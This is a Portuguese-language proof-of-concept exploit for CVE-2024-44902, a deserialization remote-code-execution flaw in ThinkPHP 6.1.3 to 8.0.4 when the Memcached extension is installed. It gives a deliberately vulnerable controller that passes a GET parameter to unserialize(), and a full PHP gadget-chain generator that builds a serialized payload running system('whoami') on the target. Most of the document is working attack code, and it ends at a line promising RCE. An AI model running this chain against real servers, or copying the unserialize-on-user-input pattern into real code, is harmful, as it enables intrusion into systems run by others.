
Prova de conceito de exploit para CVE-2024-44902, uma vulnerabilidade de desserialização no ThinkPHP v6.1.3–v8.0.4 que permite execução remota de código através de payloads criados quando a extensão Memcached está instalada.
Uma vulnerabilidade de desserialização no Thinkphp v6.1.3 a v8.0.4 permite que invasores executem código arbitrário.
Thinkphp v6.1.3 a v8.0.4
O framework thinkphp deve ter a extensão Memcached instalada.
Primeiro, adicione um novo endpoint de desserialização em app\controller\Index.php, como:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
unserialize($_GET['x']);
return '<style>*{ padding: 0; margin: 0; }</style>';
}
public function hello($name = 'ThinkPHP8')
{
return 'hello,' . $name;
}
}
Você pode gerar o payload a partir de:
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
protected $options=[];
function __construct()
{
$this->options["username"]=new Pivot();
}
}
namespace think\model;
use think\model;
class Pivot extends Model
{
}
namespace think;
abstract class Model{
private $data = [];
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = true;
function __construct()
{
$this->data["fru1ts"]=["whoami"];
$this->withAttr["fru1ts"]=["system"];
$this->json=["fru1ts"];
}
}
namespace think\route;
use think\DbManager;
class ResourceRegister
{
protected $registered = false;
protected $resource;
function __construct()
{
$this->registered=false;
$this->resource=new DbManager();
}
}
namespace think;
use think\model\Pivot;
class DbManager
{
protected $instance = [];
protected $config = [];
function __construct()
{
$this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
$this->config["default"]="getRule";
}
}
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
Usar o payload para desserializar pode resultar em RCE:
